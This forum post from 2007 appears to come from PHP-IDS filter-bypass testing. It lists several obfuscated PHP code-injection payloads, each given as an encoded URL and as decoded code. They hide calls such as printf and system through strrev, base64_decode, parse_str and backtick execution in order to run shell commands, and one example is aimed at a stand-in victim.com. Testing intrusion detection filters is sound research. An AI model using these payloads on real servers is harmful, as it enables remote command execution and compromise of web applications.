@.mario: The filters are getting really challenging now.
Here's some variations on a PHPi that Reiners posted yesterday:
http://demo.php-ids.org/?test=%22%3B%7B%20if%20%28true%29%20%24_a%20%20%3D%20%22%22%20.%20strtolower%28%22pass%22%29%3B%0Aif%20%20%20%281%29%20%24_a.%3D%20%22%22%20.%20strtolower%28%22thru%22%29%3B%20%0A%24_a%28%20%22dir%22%29%3B%20%7D%20//
?test=";{ if (true) $_a = "" . strtolower("pass");
if (1) $_a.= "" . strtolower("thru");
$_a( "dir"); } //
http://demo.php-ids.org/?test=%22%3B%7B%20if%20%28true%29%20%24_a%20%20%3D%20%22%22%20.%20str_replace%28%27%21%27%2C%27%27%2C%27s%21y%21s%21t%21e%21m%21%27%29%3B%0A%24_a%28%20%22dir%22%29%3B%20%7D%20//
?test=";{ if (true) $_a = "" . str_replace('!','','s!y!s!t!e!m!');
$_a( "dir"); } //
Some new techniques in this one: http://demo.php-ids.org/?test=%22%20%3B%20//%0A%24_y%20%3D%20%22%22%20.%20strrev%28%22ftnirp%22%29%3B%0Aif%20%20%28%210%29%20%20%20%20%24_a%20%3D%20base64_decode%20%3B%0Aif%20%20%28%210%29%20%20%20%20%24_b%3D%22%22%20.%20%24_a%28%27cHdk%27%29%3B%0Aif%20%28%210%29%20%24_y%28%60%24_b%60%29%3B//
?test=" ; //
$_y = "" . strrev("ftnirp");
if (!0) $_a = base64_decode ;
if (!0) $_b="" . $_a('cHdk');
if (!0) $_y(`$_b`);//
EDIT: This one could use some explaining. Payload is a base64 encoded command in the b GET variable, the code parses the query_string and assigns the $_GET['b'] to $b which is then decoded and ran through the backtick execution operators (``) and output through an aliased printf. Also note that eval respects new lines so the comment marks don't actually comment any code. http://demo.php-ids.org/?test=%22%20%3B%20//%0Aif%20%20%28%210%29%20%24_a%20%3D%20base64_decode%20%3B%0Aif%20%20%28%210%29%20%24_b%20%3D%20parse_str%20%3B%20//%0A%24_c%20%3D%20%22%22%20.%20strrev%28%22ftnirp%22%29%3B%0Aif%20%20%28%210%29%20%20%24_d%20%3D%20QUERY_STRING%3B%20//%0A%24_e%3D%20%22%22%20.%20%24_SERVER%5B%24_d%5D%3B%0A%24_b%28%24_e%29%3B%20//%0A%24_f%20%3D%20%22%22%20.%20%24_a%28%24b%29%3B%0A%24_c%28%60%24_f%60%29%3B//&b=cHdk
?test=" ; //
if (!0) $_a = base64_decode ;
if (!0) $_b = parse_str ; //
$_c = "" . strrev("ftnirp");
if (!0) $_d = QUERY_STRING; //
$_e= "" . $_SERVER[$_d];
$_b($_e); //
$_f = "" . $_a($b);
$_c(`$_f`);//
EDIT: Shorter variation shoving all identifiable names into the request string. (Register Globals = On) http://demo.php-ids.org/?test=%22%3B%20//%0A%24_c%20%3D%20%22%22%20.%20%24_a%28%24b%29%3B%0A%24_b%28%60%24_c%60%29%3B//&b=ZGly&_a=base64_decode&_b=printf
?test="; //
$_c = "" . $_a($b);
$_b(`$_c`);//
This is how the attack would actually look:
h++p://victim.com/index.php
?injection_point=%22%3B%20//%0A%24_c%20%3D%20%22%22%20.%20%24_a%28%24b%29%3B%0A%24_b%28%60%24_c%60%29%3B//
&b=ZGly
&_a=base64_decode
&_b=printf
&submit=submit
EDIT: I just realized, I wrote one of those vectors redundantly it should be:
?test=" ; //
if (!0) $_b = parse_str ; //
$_c = "" . strrev("ftnirp"); //
$_e= "" . $_SERVER[$_d];
$_b($_e); //
$_f = "" . $_a($b);
$_c(`$_f`);//
attack looks like:
h++p://demo.php-ids.org/?test=%22%20%3B%20//%0Aif%20%20%28%210%29%20%24_b%20%3D%20parse_str%20%3B%20//%0A%24_c%20%3D%20%22%22%20.%20strrev%28%22ftnirp%22%29%3B%20//%0A%24_e%3D%20%22%22%20.%20%24_SERVER%5B%24_d%5D%3B%0A%24_b%28%24_e%29%3B%20//%0A%24_f%20%3D%20%22%22%20.%20%24_a%28%24b%29%3B%0A%24_c%28%60%24_f%60%29%3B//
&b=cHdk
&_a = base64_decode
&_d=QUERY_STRING
It still gets caught (Score: 7) but I felt I should at least clarify.
-tx @ lowtech-labs.org
Edited 15 time(s). Last edit at 10/08/2007 11:41PM by tx.